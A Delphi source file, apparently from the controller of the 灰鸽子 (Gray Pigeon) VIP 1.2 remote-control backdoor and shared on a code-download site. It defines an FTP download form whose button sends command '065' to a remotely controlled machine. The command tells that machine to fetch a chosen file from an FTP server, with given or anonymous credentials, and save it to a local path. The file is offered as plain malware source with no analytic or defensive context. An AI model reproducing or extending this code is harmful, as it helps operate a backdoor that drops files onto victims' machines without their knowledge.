www.pudn.com > 灰鸽子VIP1.2.rar > FtpDownUnit.pas


unit FtpDownUnit; 
 
interface 
 
uses 
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 
  Dialogs, DynamicSkinForm, SkinCtrls, StdCtrls, Mask, SkinBoxCtrls, IdGlobal, LangFrm; 
 
type 
  TFTPDown = class(TLangForm) 
    Label1: TspSkinStdLabel; 
    Label2: TspSkinStdLabel; 
    Label3: TspSkinStdLabel; 
    Label4: TspSkinStdLabel; 
    Label6: TspSkinStdLabel; 
    Label5: TspSkinStdLabel; 
    FtpServer: TspSkinEdit; 
    PortEdit: TspSkinEdit; 
    UserEdit: TspSkinEdit; 
    PassEdit: TspSkinEdit; 
    Ftpfile: TspSkinEdit; 
    Button1: TspSkinButton; 
    Button2: TspSkinButton; 
    Lfile: TspSkinEdit; 
    spDynamicSkinForm1: TspDynamicSkinForm; 
    CheckBox6: TspSkinCheckRadioBox; 
    procedure Button1Click(Sender: TObject); 
    procedure Button2Click(Sender: TObject); 
    procedure FtpfileChange(Sender: TObject); 
    procedure CheckBox6Click(Sender: TObject); 
  private 
    { Private declarations } 
  public 
    { Public declarations } 
  end; 
 
var 
  FTPDown: TFTPDown; 
 
implementation 
uses 
    Main; 
{$R *.dfm} 
 
procedure TFTPDown.Button1Click(Sender: TObject); 
begin 
  {从FTP下载文件} 
  if CheckBox6.Checked then 
    begin 
     if (FtpServer.Text='') or (PortEdit.Text='') or (Ftpfile.Text='') or (Lfile.Text='') then Exit; 
     HgzVip.ZhuDongCmdSend('065', FtpServer.Text+EOL+PortEdit.Text+EOL+'anonymous'+EOL+'user@anonymous.com'+EOL+Ftpfile.Text+EOL+Lfile.Text+EOL,True); 
     Close; 
     Exit; 
    end; 
 
  if (FtpServer.Text='') or (PortEdit.Text='') or (UserEdit.Text='') or (PassEdit.Text='') or (Ftpfile.Text='') or (Lfile.Text='') then Exit; 
  HgzVip.ZhuDongCmdSend('065', FtpServer.Text+EOL+PortEdit.Text+EOL+UserEdit.Text+EOL+PassEdit.Text+EOL+Ftpfile.Text+EOL+Lfile.Text+EOL,True); 
  Close; 
end; 
 
procedure TFTPDown.Button2Click(Sender: TObject); 
begin 
Close; 
end; 
 
procedure TFTPDown.FtpfileChange(Sender: TObject); 
begin 
Lfile.Text:=HgzVip.CurDir+ExtractFilename(Ftpfile.Text); 
end; 
 
procedure TFTPDown.CheckBox6Click(Sender: TObject); 
begin 
  if CheckBox6.Checked then 
    begin 
      UserEdit.Enabled :=False; 
      PassEdit.Enabled :=False; 
    end else begin 
      UserEdit.Enabled :=True; 
      PassEdit.Enabled :=True; 
    end; 
end; 
 
end.